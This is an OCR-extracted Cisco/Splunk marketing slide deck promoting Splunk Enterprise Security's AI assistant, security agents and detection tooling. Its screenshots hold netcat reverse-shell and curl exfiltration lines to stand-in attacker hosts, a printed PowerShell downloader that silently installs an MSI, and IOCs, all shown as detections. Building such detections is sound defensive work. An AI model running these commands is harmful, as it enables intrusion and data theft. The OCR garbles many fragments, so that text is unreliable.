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This presentation may contain forward-looking statements regarding future events, plans or the expected financial performance of our company, including
our expectations regarding our products, technology, strategy, customers, markets, acquisitions and investments. These statements reflect management’s

F O rW a rd — current expectations, estimates and assumptions based on the information currently available to us. These forward-looking statements are not guarantees of
future performance and involve significant risks, uncertainties and other factors that may cause our actual results, performance or achievements to be

[ ] materially different from results, performance or achievements expressed or implied by the forward-looking statements contained in this presentation.

I 0 O kl n g For additional information about factors that could cause actual results to differ materially from those described in the forward-looking statements made in
this presentation, please refer to Cisco’s periodic reports its other filings with the SEC, including the risk factors identified in Cisco’s most recent quarterly
report on Form 10-Q and annual report on Form 10-K, copies of which may be obtained by visiting the Cisco Investor Relations website at investor.cisco.com

Sta te m e n tS or the SEC's website at www.sec.gov. Any projections in this presentation are based on information currently available to Cisco, which is subject to change.
The forward-looking statements made in this presentation are made as of the time and date of this presentation. If reviewed after the initial presentation, even
if made available by us, on our website or otherwise, it may not contain current or accurate information. We disclaim any obligation to update or revise any
forward-looking statement based on new information, future events or otherwise, except as required by applicable law.

In addition, any information about our roadmap outlines or our general product direction is subject to change at any time without notice. It is for informational
purposes only and shall not be incorporated into any contract or other commitment. We undertake no obligation either to develop the features or
functionalities described, in alpha or beta or in preview (used interchangeably), or to include any such feature or functionality in a future release.

Copyright © 2026 Cisco and/or its affiliates. All rights reserved. Cisco, Splunk and the Cisco and Splunk logos are trademarks or registered trademarks of
Cisco and/or its affiliates in the U.S. and other countries. To view a list of Cisco trademarks, go to: www.cisco.com/go/trademarks. Third-party trademarks
mentioned in this presentation are the property of their respective owners. The use of the word partner does not imply a partnership relationship between
Cisco and any other company.
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Security from the
Agentic Frontier

The Al Transformation is here
and we must transform for it



Unrelenting Pressure on SOC Teams

N §3, .

Gaps ir Fragmente Overwheln

Staggering data growth, Siloed solutions, manual and Attacks, increasingly Al-fueled,
workload complexity, and reactive capabilities wear on team are increasing in velocity,
costs are compounding risk effectiveness frequency and sophistication

= B ]
The result: a record 50%+ of security leaders! and practitioners likely plan to quit their role in the next 12
months2,

]
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The way forward

A New Operating
Model

An integrated system bringing
together Data, Analytics,
Tooling, and Al for a powerful
analyst experience.

il
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A t' C A Foundation of High-Fidelity Data
g e n I C \ Data fabric

Data management
Data pipelines

Analyzed at Machine Speed

Tl enrichment & context
Correlated detections
Investigation & hunting

Single work surface for TDIR
Team coordination
Integrated workflows

Analytics

Customizable agents
Reasons and acts decisively
Lo Prevents emerging threats
 Complete visibility

« Contextual understanding
* Intuitive analyst experience

 Machine speed & scale

alal
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Why Splunk

% = iy

Scale Operations Streamline detection and response Stop threats at machine speed

by turning high-volume data To focus on what matters With Al and automation
into high-fidelity visibility

© 2025 Cisco and/or its affiliates. All rights reserved. Cisco




Al native data fabric for full-stack security

e o n et Cisco Data Fabric, L L L N
CROSS DOMAIN VISIBILTY AGENTIC OPS Al MODELS
Understand the entire Drive context aware action Unlock machine data for
attack surface from correlated insights training and inference

ol I 1l l e
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Leverage the Fabric for secure Al

Unparalleled visibility
across every Al layer

s Al models,

¢
agents, and
applications

%
Al workloads and
RHERE](E
\_ J

Discover Al assets — known and
unknown - in your environment

© 2025 Cisco and/or its affiliates. All rights reserved.

Splunk brings together disparate
sources and tools for unified protection

Cisco Al Defense Dashboard

CISCO DATA FABRIC

T
High fidelity detection across every Block emergent attacks
layer of Al infrastructure at any level

]
Cisco



splunk>cloud Apps v (@ Messages v

Settings > Activity > Q Find

Detection e

Filters

Security content dashboard / Detections

Configure ~  Search

rity content v Configure ~

Q Search Detections

] <
# Quick filters M
All detections %

Detection KPIs ©® =

Overall detection technique coverage
Last 7 days

Recommended ©

Priority ©

Tune and author detections =

ecurity content dashboard / Detections

Detections | Q Search Detections

5% ..

Overall detection technique coverage
Last 7 days

Highest priority dete
Top 15% of detections wi

Priority High X Clearall
1423
All confidence -
O nName o o
5%
Impact © [ Endpoint-Potential Au .,

Atimpast - |

Compatibility ©

All compatibility -
(m]

Performance @

[ Avperformance - | g

Detection Config. ® -

Deployed State ©

Al -

Finding Type ©® o

5|

« Streamline detection creation e -
workflows rrr—— .

Modeled Data ®

« Evaluate detection health I

Un-Modeled Data ©®

« Expand versioning and I
detection-as-code s

© 2025 Cisco and/or its affiliates. All rights reserved.

This search will help you ide

Endpoint - Potential Indic}
Adversaries may modify

Filter Detection

Endpoint - Potential Text Bas!
An adversary using DNS tu

Priority ~ High X Clear all Save

ESCU - Any Powershell Download
The following analytic detec

Detections 1423
ESCU - CMD Echo Pipe - Escalation IF
The folowing anlyticdnti

ESCU - Detect RClone Command-Line Usage

85
The following analytic detects the u
noint - Potential Automated File Collect
ESCU - Disable Schedule Task IF Only - Rule - Rule il belp you identify instances wi . %
The following analytc detects the exccutio )
ESCU - Registry Keys Used For Persistence IF Only- Rule - Rule ; X @
registry keys comm
ESCU- y Dump Via CommandLine IF Only - Rule - Rule o - 0
ESCU - ICACLS Grant Command - Rule High 87 95 98 82
use of the ICACL
ESCU - Network Discovery Using Route Windows App - Rule High 55 100 11 85
ofthe “route.exe Windows applicat for network disc
Escy GetE GIIO High 78 100 7 95
ofthe cmd.exe to enum
Cisco Network Interface Modifications High 78 100 7 95
This anaiytc twork , which could inlcats an at
- Static Tundra Abuse High 78 100 7 95

Show datametrics (@) [ESLEC

Lowest health detections
Top 15% of detections which have the lowest health

mance

:

High to Low

Deployed State

® off

Actions

@

@

3]

© 2 scadmin~
i a Enterprise Security

@ Support & Services ¥

B3 (- -)(n] < > ox
v (D Details

ESCU - ICACLS Grant Command - Rule

The following analytic detects the use of the ICACLS command to grant

Show more

Priority High
Confidence  Cnm—
L ——
Validity ——
Impact

Detectiontype  Anomaly

Cloned from

Created By Tom Anderson

LastEditedBy  Tom Anderson

CreationDate  Jan 20 2023

Update Date Mar 72025

v £} Detection Logic

tstats ‘security_content_summariesonly®
min(_time) as firstTime max(_time)

as lastTime from datamodel=Endpoint.Processes
where

Processes.process_name IN ( "icacls.exe",
“cacls.exe", "xcacls.exe") AND
Processes.process IN ("*/grant*", "+/g

, "*/g

@~ unswN =

©

by Processes.action Processes.dest

10 Processes.original_file_name

11 Processes.parent_process

12 Processes.parent_process_exec

13 Processes.parent_process_guid

14 Processes.parent_process_id

15 Processes.parent_process_name

16 Processes.parent_process_path Processes.process
17 Processes.process_exec

18 Processes.process_guid Processes.process_hash
19 Processes.process_id

20 Processes.process_integrity_level

21 Processes.process_name Processes.process_path
22 Processes.user Processes.user_id

23 Processes.vendor_product

24| “drop_dm_object_name(Processes)®
25 | “security_content_ctime(firstTime)"
26 | “security_content_ctime(lastTime)"
27 | “icacls_grant_command_filter™

Openinsearch [2

v B compatibility

98 High compatibility

[ Past 7 days - ja

Data source
Type Status

O Hasdata Q &

Email gateway logs

aliah
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Deliver high-fidelity runtime security across cloud

workloads

» Kernel Monitoring: Suspicious
process detected on workload

* Splunk correlates findings and
to identify lateral movement to
an s3 bucket with highly
sensitive data

* Guard Duty: Command and
Control traffic detected

» Analyst triggers playbook to
contain and remove the threat

© 2025 Cisco and/or its affiliates. All rights reserved.

tenant-jobs »

1init B

945 contalnerd [l

crawler-c57f9778c-wtcbc

24261 contalnerd-shim -namespace moby -wor... [l

Jun 17, 202, 2:19 PM  crawler

[

Reverse
Shell

E

mins 16 =h -¢ “nc grrmadjz6jeqy...

+5 mins 16 nc grrmadjz6jeqy6ec.not....

@ api.twitter.com
443 TCP

e

e +5 mins 18 curl http:/felasticsearch... | §—————>

Data Exfiltration |

L—e +5mins 20 curl -v -X PUT -T resul}_..

@ grrmadjz6jeqy6cc.not-reverse-shell.com

443 TCP

B elasticsearch.tenant-jobs.svc.cluster.local

9200 TCP

- - . .
"5.;' malicious-bucket.s3.amazonaws.com

80 TCP

]
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Exposure Analytics

Asset Threat Profile:

A .
@ Autonomous Entity Discovery
' [ Anomaly: Excessive Data Transfer Detected }

Process Event: Known Malicious tool execution detected
Entity-aware Investigations

Connection: Later Movement attempted

Access Violation: Multiple unauthorized file reads }

Risk based prioritization [

[ Persistence: Unauthorized cron-job created ]

alal
© 2025 Cisco and/or its affiliates. All rights reserved. cisco



Cisco Talos U twestmengence
Intelligence for o

Response Mode Time User Status
- Q, Search findings & investigations Saved Views Select... -
Intelligence Enrichment  adhoc 2024-12- Jjkrakora @ Success
J— P 51
n e r p r I S e Last24 hours ~ e ul + with Talos [£ 11T22:51:22+0000
e e Intelligence Enrichment  adhoc 2024-12- jkrakora © Success
[ ] Time Range: Last 24 hours Clear All Save Apply with Talos [2 11T22:40:31+0000
e ‘ u r I ty Finding (£ adhoc 2024-12- Jkrakora @ Success
Zoom To Selection Zoom Out Deselect 11T722:38:59+0000
. ‘2‘ View Adaptive Response Invocations [Z
0 (1}
12:00 AM 4:00 AM 8:00 AM 12:00 PM 4:00 PM 8:00 PM
Wed, Dec 11
g ~ [8 Notes 1
Findings and investigations 2  Lastrefreshat 10:51PM | © Auto-refresh off | Show all * | aQ T +
20 perpage ~ = @ &s) Cisco Talos Intelligence for Enterprise Security Dec 11,10:51 PM
ES Comment
[:] > Title~ D~ Type ~ Observable: https://hsgsjw.icu/
] Manual Finding Event - Rule O F Threat Level: Untrusted
Threat Categories: Malware
O Manual Finding Event - Rule Q F1
Malware Description: Malicious file (attached or linked).
D Manual Finding Event - Rule Q I Threat Categories: Phishing
o o o o Phishing Description: Collection of credentials (link).
» Native integration for all Enterprise

Threat Categories: Malicious Sites

Security cloud customers

Malicious Sites Description: Sites exhibiting malicious behavior that do not
necessarily fit into another, more granular, threat category.

* Enrich findings with relevant
intelligence from Cisco Talos

* Helps analysts quickly understand
potential threats



Fuel Operational
Efficiency

 Single unified work surface to
complete the full TDIR workflow
without leaving Splunk Enterprise
Security.

» Al Assistant in Security: Generate
SPL queries using natural language,
summarize findings, generate
investigation reports, and next-
step/remediation guidance. New!

» Execute response workflows
directly in ES Essentials for faster,
more efficient remediation.

€ Queue £ IWESTIGATION
Overview Response
Overview

Findings <

Included findings &

> Multiple findings from the

same entity plu...

ATT&CK tactic threshold
exceeded over previous.

24 hour risk threshold

exceeded for entity [bsto...

Malicious PowerShell

process - encoded comm...

Malicious PowerShell

process - encoded comm...

~ Custom fields

Related Jira ticket

Related SNOW ticket

~ Additional fields

Destination

Destination category

Destination city
Destination country
Destination DNS
Destination Expected
Destination IP address
Destination NT
hostname

Destination owner
Destination PCl domain

Destination requires

| RDMP-334

Q00 0000 Q000

bstoll@splunktshirtcompan

y.com

workstation

windows

San Francisco

us
bstoll
false
100.1.4

bstoll.splunktshirtcompany.

com
ben stoll
untrust

false

ES-00001
Events ‘27 Search Automation Intelligence
~ MITRE ATT&CK map
Resource D P Initial Access
Virit e %) 3019 Techniauss (230
il Nthl;ﬂ’vtﬂﬂll | Orivssoy
Compromise ¢
©
oo b e

-

Execution

Cpen risl

Investigation of findings from the same entity [bstoll@splunktshirtcompany.com]

Command and
Seripting
Interpreter

Detections 7 % View options ‘ ‘ Last 30 days ~
Persistence Privilege Escalation
of 19 Tachmiues (75 )0t 13 Toctniaues O
Account

HManipulation

Brouser
Extensions @&

+ Event Triggered
Execution @

> Related investigations

> History

~ Drill-down search

View the individual risk attributions [2

Process creation events for this process [2

~ Drill-down dashboard

analysis dashboard [2

~ Original event

Audit:[timestamp=02-22-2024 23:04:59.452, user=admin,

action=edit_search_schedule_window, info=granted ]

View original event [2

~ Adaptive responses 1

Response Mode  Time User Status

T -
> @ Info
Owner Status
[(Haradis Montesmery - | [ Now
Urgency Severity
[ Medium v ‘ ‘ ULIGIN]
Disposition
Undetermined -
(o] ES-00001
Type £ INVESTIGATION
Time Today 9:50 AM
Investigation type Default b
Description 5 findings were detected that were associated with
lunktshir com
Detection Same Entity Finding Aggregation

Risk - 7 day ATT&CK ic threshold exceeded - Rule

Risk - 24 hour risk threshold exceeded - Rule

 HOW. Mo

- Notes 2

Q, Search notes | Y ¢ +
@ Sarah Dole Oct 23, 6:05 PM
Machine infected

Based on the events that triggered the alert, it looks like the user's machine is
already infected and probably needs to be quarantined.

° Orville Esoy Oct 23, 6:06 PM
Blocked outbound network access
| have confirmed the user’s device is infected and have already blocked
outbound network access from it.

@ Amanda Dyson Oct 23, 6:05 PM
Next steps

Next step suggest taking the device offline and doing forensic investigation.

A

10f2 pages ¥ Next >

v D Files ©



Dedicated and purpose-built
Security Al Agents

Detection Malware Triage Orchestration/ Guided Response
agent Reversing Agent Agent SOP Agent + Automation
Agen}s

BN

SPEED ® —>
Detection Triage Investigation Response

O LU AN
© 2026 Cisco and/or its affiliates. All rights reserved. CIsco



| GenewalAvailabiityforCloud
Al Assistant In

Settings *  Activity*  Q Find

Security content -

Configure ~

| ‘ Last 24 hours

©® Lscadminv
s

@ Support & Services ¥

Search

g Enterprise Security

Al Assistant for Security

(=
Malicious PowerShell B X

Al Assistant for Security

= |

Enterprise
ecurity e

execution

€3 Finding groups

Fl-AB543

eeded for

- Embedded across all analyst e
WO rkfl OWS :ed from 10.163.194.46 to
* Guide investigations with Al- et ek iy v

powered query generation and o
summarization

 Accelerate workflows with
embedded, context-aware Al
insights

« Empower decisions with Al-
driven next step and
remediation guidance

Malicious PowerShell execution

+ Al disposition Al Today, 8:30 AM
\ Show20 =
ading summarization

© A Today 830 aM

5, 2025, an obfuscated PowerShell command was executed using the =
Command flag by a low-privilege user during off-hours. The script contacted a
domain (185.99.132[.]22) linked to the MuddyWater APT group, as

by Cisco Talos threat intel.

[

€G Charlig| . . . .
~ Finding summarization

alysis showed the script downloaded a second-stage payload, created a
ask, and attempted credential theft. Shortly afterward, the host initiated
lateral movement, indicating early-stage compromise activity. Given the
dicators and threat intel correlation, this is assessed as a True Positive
ediate response.

On July 25, 2025, an obfuscated PowerShell comma
EncodedCommand flag by a low-privilege user durin
known C2 domain {(185.99.132[.]22) linkedto .
confirmed by Cisco Talos threat intel.

NA Nyah /

2 10 . . 1 True positive
Sandbox analysis showed the script downloaded ~

o (I scheduled task, and attempted credential the Rejecti]| NCmt==e P
SMB-based lateral movement, indicating ear ngis likely a true positive based on following:

& Kenji Tana behavioral indicators and threat intel corra nmand Behavior: Obfuscated script, spawned by powershell exe

: d ;andbox Result: Credential theft + scheduled task creation
requiring immediate response. hreat Intel: Talos C2 match
xt > Show 20 User Context: Unusual activity from low-privilege user during off-hours

= Lateral Movement: SMB events observed post-execution

sas Splunk Attack Analyzer
hd Severity

b 4 Alanalysis

Malicious - Script downloads an MSI from a remote host and silently installs it via msiexec. Uses

A X WebClient to fetch payload, silent installation, file cleanup
Destination Exg false - Show more
Destination IP address 2 2050.50.60 [EF v
BB ciscoatos
Destination owner J jeunningham v
Results
Destination PCldomain  untrust v Show mors
Show all 35 fields
4" Ask me anything about.. 9
> Related investigations () o
Summarizethe findings  Generate investigationreport  Suggest SPL  Discover Al Assistant skil
> History Results from GenAl can vary; review for ew A

Currently available for Cloud users

© 2025 Cisco and/or its affiliates. All rights reserved.
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Detection
Builder Agent

Go from detection hypothesis to
production in minutes with
accuracy; quickly import, tune, and
tag detections; and personalize
detections for your environment.

© 2025 Cisco and/or its affiliates. All rights reserved.

splunk> cioud

R @ K

L & H

Profile

a @ @ a@ | &

Tenant
Edit event-based detection <
< Back ta Content management Al Assist is successful X
1 new line has been added ®
~ @ Detection search [~

Create finding-based detections to create findings and finding groups in Splunk Enterprise Security for your specific security use case Detection search documentation [£

*Name @ ‘ Cisco Duo Bypass Code Generation |

App ‘ Enterprise Security h |

Ul dispatch context ‘ Enterprise Security h |
App configured for drill-down search links or email adaptive response actions. If no app is selected, the Ul app context is used by default.

* Security domain ‘ Threat - |

Organizes access to entities by a common security policy, security model, or security architecture.

* Description ] The following analytic detects when a Duo user generates a bypass code, which allows them to circumvent multi-factor authentication (2FA) protections. It works by monitoring Duo
activity logs for the 'bypass_create’ action, renaming the affected object as the user, and aggregating events to identify instances where a bypass code is issued. This behavior is
significant for a Security Operations Center (SOC) because generating a bypass code can enable attackers, malicious insiders, or unauthorized administrators to gain access to
sensitive systems without the required second authentication facter. Such activity may indicate account compromise, privilege abuse, or attempts to weaken security controls. Early
detection of bypass code generation is critical, as it allows the SOC to investigate and respond before an attacker can exploit the reduced authentication requirements, helping to
prevent unauthorized access, data breaches, or further lateral movement within the environment. Monitoring for this action helps maintain strong authentication standards and

reduces the risk of credential-based attacks.

Add information on what the detection searches for and the security use case addressed by the detection. For example: Identify excessive number of failed login attempts (likely to detect a brute force attack). Detectit

* Search @
Type a description to generate SPL code +" Generate SPL

rename cbject as user

search NOT (user IN ("kennyb™, "tommyj", "billym")) X v
stats count min(_time) as firstTime max(_time) as lastTime by action actionlabel description user
“security_content_ctime(firstTime)*

4 eval script=coalesce(process, "")
5 “security_content_ctime(lastTime)*
6 search *
Review
Last 24 hours Openinsearch [2 ‘ | Tuning dashboard [A | ‘ Validate search

~ @ Analyst queue information

Enter optional note

Status | ® Off Clone Save as draft |m

il
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VY EWEILE
eversing
gent

* Explains malicious scripts line-
by-line

» Extracts I0Cs, flags evasion, and
groups recurring behaviors

* Gives analysts actionable insight
in seconds, not hours.

© 2025 Cisco and/or its affiliates. All rights reserved.

Malicious

Script downloads an MS| from a remote host and silently installs it via msiexec. Uses WebClient to fetch payload, silent installation, file

cleanup

Technical Analysis

- Step 1: Configure PowerShell to use TLS12 for secure connections

« Step 2: Define the URL for the MSI payload

Step 3: Construct the temporary file path in the % TEMP% directory

- Step 4: Instantiate a WebClient object and set a custom User-Agent header

- Step 5: Download the MSI from the remote server to the temporary path

- Step 6: Verify the downloaded file exists at the temporary location

Step 7:Invoke mslexec.exe to Install the MSI silently with no restart

Step 8: Remove the MSl installer file after successful installation

Step 9: Handle any errors during download or installation and perform cleanup
- Obfuscation techniques identified: None

Relevant code

[Net .ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]:: Tls12
Description
TLS configuration for Power Shell remoting (Step 1 from analysis)

Purpose

Enforces usage of TLS1.2 for secure network communications. Prevents fallback to weaker SSL/TLS protocaols.
Example matching Regex

/\[Net\.ServicePointManager\]::SecurityProtocol\s*=\s*\[Net\.SecurttyProtocolType\]

Surl = 'https://80.173.153.160@.host.secureserver.net/4774321123565 .ms1i'

Summary MITRE TTPs 10Cs and Recommendations

::Tls12/

uispasition

[ True positive v

1D ES-00004

Type =] Investigation

Time Today 10:20 AM

Last updated Today 10:20 AM

Reference ID 84b056d2-9263-49b8-
ad5b-c322f81da461

Investigation type Default S

Description This detection identifies

the execution of potent..
Show more

~ {3 Notes ©

H B I & % <) K] i=:i=8 @

Enter note

Save

~ [ Files ©

Drop your files here or browse
all file types supported

il
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|
I r I a g e Ag e n t splunk>cloud Apps » (@) Messages v  Seftings  Activity v  Q Find

Mission Control Security analytics ~ Security content ~ Configure ~

gs + Al suggested disposition

Default views < Analyst queue —
B Al All types 2] Investigations (8] . True pOSitiVe
o -}‘ Al disposition: True positive 7

[:l Benign positive

~ Owned by me

° . D ) Title ~ . - Related investigat
2% Unassigned [:| False positive
D € Malicious PowerShell exe
(!) Risk score FI-AB543 D Other )
24 hour risk threshold exced
. O o} " : 2
v/ Saved views user=administrator D Undetermined
My critical items O €& Possible Phishing Attack
> Unassigned SLA expiring D o Unusual network activities detecte z
52.218.245.82 t0 52.216.133.181 NA Nyah Aamadu
D Insider threat D o 3 failed login attempts within 24 hrs on de 17
10.34.56.354
D o Threat Activity Detected from 56.143.202.14 to b :
8.108.191.107
D €© Email files written outside of the Outlook directory ~ Fl-AB352 KT Kenji Tanaka 6k

« Streamline alert prioritization
* Plan and execute investigations

» Automate insights to reduce
MTTR

il
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IR Cloudavaisbiity comingsoon
SOP Agent

Import security standard operating
procedures into Splunk Enterprise
Security response plans so Al
agents can act on them.

© 2025 Cisco and/or its affiliates. All rights reserved.

splunk> cioud

T @ E u

o @& H

> Edit event-based detection

< Back to Content management

Import response plan

Import and generate with Al

Upload your security documentation to create a response
plans using generative Al.

jis

Click or drag file to this area to upload
Supports PDF, TXT

Import JSON

Import previously exported response plan.

a & @ 2@

l Al Assist is successful

o

Click or drag file to this area to upload
Supports JSON

Close

o Profile
= Tenant

il
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Splunk Al Toolkit

« Empower every user to
create custom,
extensible Al solutions
using top LLMs over
your Splunk data.

© 2025 Cisco and/or its affiliates. All rights reserved.

View examples by

Predict Fields

nur or cate | fi
values from other field

45 Examples Available

\v Featured Forecasting Examples

Forecast Internet Traffic

This example uses the Kalman Filter
algorithm to forecast future internet
traffic

Smart Forecasting

Smart Forecasting Examples

View examples that forecast future value:

Forecast App Expenses
example uses the Smart Forecasting
recast expenses for the
next month, based on three months of
data. The Smart Forecasting Assistant
leverages the StateSpaceForecast
algorithm.

Detect Qutliers

amples that dete
alues that di

Identified outliers are indicative of
interesting and unusual events.

67 Examples Available

Forecast the Number of Employee Logins
This example uses the Kalman Fil
algorithm to forecast future employee

login numbers.
Busi) Analytics

past values of a numeric time series metric

Forecast Exchange Rate TWI using ARIMA
This example uses the Smart Forecasting
Assistant to forecast call count for the

next 30 points, based on three months of
data. The Smart Forecasting Assistant
leverages the StateSpaceForecas
algorithm.

Forecast Time
Series

2 Examples Available

Forecast Monthly Sales
This example uses the Kalman Filter
algorithm to forecast future souvenir

sales numbers.
Security

Forecast App Expenses
This examp s the Smart Forecasting
A ant to forecast the number of
logons for the next 30 points, based on
nine months of data. A lookup file

cludes special days from the fore
The Smart Forecasting Assistant
leverages the StateSpaceForecast
algorithm.

Busine. nalytics

Cluster Events

View examples that partition events with
multiple fields into groups
based on the val of th

54 Examples Available

Other Example

This example uses the Smart Forecasting
Assistant to forecast CRM and ERP for
the next month, based on three months
of data. The Smart Forecasting Assistant
leverages the StateSpaceForecast
algorithm.

Sect

o]
Cisco



Delivering the Agentic SOC

Where human expertise, Al, and data work together to stop
threats at machine speed.

s

5= Stop threats at machine speed with Al & Automation (Al Assistant in ES & Al Agents)
Scale operations by turning high-volume data into high-fidelity visibility
’\ Risk scoring, analysis, W Out-of-the-box Integrated » [ Threat Intelligence ﬂ
and prioritization | content workflows enrichment
Streamline detection and response to focus on what matters

N
SIEM / Security Analytics Security Automation Behavioral Analytics Exposure Analytics Attack Analytics

Detection & playbook
authoring

Unifying data for complete visibility with the ic

)

Al-powered W @ Federated Search Q Al-Native Experiences C/\__) Machine
| }- data management and Analytics i and Platform | Data Lake

© 2025 Cisco and/or its affiliates. All rights reserved.
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The complete
experience wit
Enterprise
Security Premie

* Includes UEBA, SOAR
* Agents and Al Assistant
» Simplify your analyst experience

* Gain full visibility and control

© 2025 Cisco and/or its affiliates. All rights reserved.

splunk:>cloud Apps ¥ 4) Messages *  Seitings ¥  Activity »  Q Find

Mission Control Analytics - Security content - Configure ~
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Enterprise Security

Now available in two editions
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The Agentic SOC* vs. HAFNIUM

Exploit Exchange

Zero-Days Plant Web Shells
Targets unpatched Install web shells to persist,
Exchange servers to gain execute commands, and
quiet footholds and access. escalate control.

Phase 1 Phase 2
Continuous Enriched Threat
Monitoring Context

[ [

Steal Credentials Move Laterally
Dump memory and Use stolen accounts and
directories to harvest tools to spread across
passwords and tokens for systems and domains.
expansion.
Phase 3 Phase 4
INVESTIGATE

Unified Map Lateral

Investigation Movement
Workflow

Export Mailboxes
Leverage Exchange tools

and shells to copy and
export emails.

Phase 5

Automated
Actions

®
Exfil Data to Cloud

Compress files, send to
cloud shares, hide theft in
traffic.

Phase 6
RESPOND

Detonate
Malware

®
Maintain C&C

Encrypt communications
and tunnel over DNS to
evade network detection.

The Result: An Agentic SOC* outpaces HAFNIUM, by unifying data, analytics, tooling and Al for the analyst
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Phase 7
Stop C&C:
Immediate
Isolation
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Unmatched Strengths that Set Splunk ES Apart

An open, data-native foundation data federation and a unified TDIR platform

Data management and
federation

Unique data management
capabilities, like routing,
filtering, masking, and
federation to maximize
performance and ROI
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backed by the industry’s deepest ecosystem

Architectural flexibility

Deploy on-premises, in the
cloud, or in hybrid
environments, with
seamless IT and OT
integration for broad attack
surface coverage wherever
you operate.

Market leadership

Splunk is the market share
leader, recognized as a
leader by Gartner, IDC, and
Forrester. Demonstrating
that our platform is trusted
by a broad user base,
providing confidence in
your security investments.

Innovating together

With 2,200+ global security
partners, thousands of
partner and community-
built apps, and an active
user forum, Splunk delivers
unmatched collaborative
innovation and support.
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Splunkis a recognized in cybersecurity

Splunk Security provides an unparalleled foundation to power the SOC of the future
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2025 Gartner® Critical Leader SIEM and SOAR
Capabilities for SIEM

Omdia Universe: Next-Generation
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Pioneering into the future

Al-Driven Risk Proactive and Predictive Autonomous Resolution
{ Optimization H Security Operations ‘ [ at Machine Speed J
{ Adaptive and Intelligent Data Fabric }

The future of security operations
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Human Expertise Al DERE:
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Your security team is stretched thinissal
It's time for an agentic SOC platform that: ol | T

Automates the mundane l

Clarifies the complex l

Stops threats at machine speed l
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The Evolution of the SOC Team
for the Al era
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